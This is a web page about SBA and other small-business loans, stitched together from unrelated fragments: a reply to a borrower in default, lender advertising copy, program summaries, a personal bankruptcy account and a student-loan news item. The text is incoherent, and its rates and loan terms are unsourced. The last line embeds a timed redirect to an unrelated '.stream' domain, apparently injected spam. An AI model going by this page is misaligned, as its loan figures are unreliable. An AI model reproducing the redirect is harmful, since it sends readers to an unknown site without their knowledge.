PG, your situation sounds very familiar to emails and phone calls that I get weekly. It sounds like you did the typical run and hide in a default situation back in 2007. What happened was, after a period of time the SBA passed this file down to the US Department of Treasury and eventually your file ended up on somebody’s desk and they took your tax returns. The next thing they will do is start a wage garnishment proceeding. I would not worry about a foreclosure as there is not enough money owed for them to pursue that. You need to contact the Department of Treasury, and track your file down and negotiate some type of payment plan with them.
SBA Disaster Loans Up to $2 million available to small businesses and organizations that are located in a declared disaster zone and suffered damage to property or economic losses. Or businesses that lose a key employee who is a military member sna is called to active duty. Rates: 4 – 8%
Contrary to what many people think, the SBA itself does not issue loans. Banks, credit unions, community development organizations, microlending institutions, and other partners actually make the loans. For qualifying loans, the SBA guarantees part of their repayment. The maximum guarantee is 85 % for loans under $150,000 and 75 % for loans over $150,000.
Fora Financial makes business capital, including business loans and Merchant Cash Advances (“MCA”), available through its partners and subsidiaries. Business loans and MCA are not available in all states and are subject to certain eligibility requirements and approval. Business loans are offered by Fora Financial Business Loans LLC. MCA are offered by Fora Financial Advance LLC. MCA are purchases of future receivables, not loan products. Certain MCA and business loan products are made available through Fora Financial West LLC, a licensed California Finance Lender.
OnDeck can lend up to $500,000 in as little as a day with minimal paperwork. However, you’ll need to be willing to accept a higher interest rate and shorter term (up to two years) in exchange for convenience and speed. You must have been in business for at least 1 year with at least $100,000 in gross annual revenue.
6. The $200,000 and $179,000 payment drained me and the economy of 2008 forced personal bankruptcy. I did not BR the LLC as the A/R finance company liquidated my assets and the BR attorney said it would not be necessary.
The Small Business Administration (SBA) has several loan programs. Choosing the wrong one could mean losing out on important benefits. In this article, we’ll cover the 6 types of SBA loans in detail and show you what you need to know to pick the best SBA loan for your small business.
National Funding offers special opportunities for its customers to terminate contracts early and receive a discount in the process. Equipment Finance customers who pay off the total remaining balance early, at any point during the contract, will automatically receive a 6% discount off the total remaining balance. Working Capital customers who pay off the total remaining balance in within the first 100 days of the contract will automatically receive a 7% discount off the total remaining balance. We do not currently offer a discount on our lease contracts. Customers must pay off the balance in full, be current, and in good standing to take advantage of the discount within the time parameters.
Look carefully at your business’s financials — especially cash flow — and evaluate how much you can reasonably afford to apply toward loan repayments each month. Some online lenders require daily or twice-monthly repayments, so factor that into the equation if that’s the case.
If you don’t have established business credit yet, you can leverage your personal credit to qualify for financing – but you’ll probably have to personally guarantee the loan or put down collateral. And just like a personal credit score does, a strong business credit score can help you qualify for better rates and terms. Taking the time to build excellent business credit – and monitor it regularly – can save you thousands of dollars on the cost of your loan. Financially speaking, a good business credit score it can be a total game changer for your business
Microloans are up to $50,000 with up to 6-year terms.They have higher interest rates (8% -13%) than most other SBA loans. The SBA issues Microloans through nonprofit, community-based organizations. Microloans cannot be used to refinance debt or purchase real estate. Read more…
At the center of the storm is one of the nation’s largest owners of private student loans, the National Collegiate Student Loan Trusts. It is struggling to prove in court that it has the legal paperwork showing ownership of its loans, which were originally made by banks and then sold to investors. National Collegiate’s lawyers warned in a recent legal filing, “As news of the servicing issues and the trusts’ inability to produce the documents needed to foreclose on loans spreads, the likelihood of more defaults rises.”
The most visible elements of the SBA are the loan programs it administers. The SBA does not provide grants or direct loans with the exception of Disaster Relief Loans. Instead, the SBA guarantees against default certain portions of business loans made by banks and other lenders that conform to its guidelines.
At Fora Financial, we do not restrict how you use your loan, so you can use it in ways that will benefit your specific business. Whether it is purchasing equipment or paying employees, you’ll be able to meet your business’s specific needs.
Navigating these requirements and the accompanying paperwork can be difficult and is the main reason people think of SBA loans as slow and hard to get. Some of the best SBA lenders, like SmartBiz, have streamlined this process and drastically cut down paperwork and application times. In fact, SmartBiz routinely closes SBA loans in 2-3 weeks.
• Rural Lender Advantage Program These loans are designed to promote the economic development in rural communities, in particular communities that are losing population, have high unemployment, or are losing industries.
Before you sign on the dotted line, consider how much you really need to borrow versus how much you’d like to borrow. This is particularly important, because you need to be certain that you can make your payments on time, every time. You’ll be building not only your business, but your business credit. Making those payments each month will be crucial. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]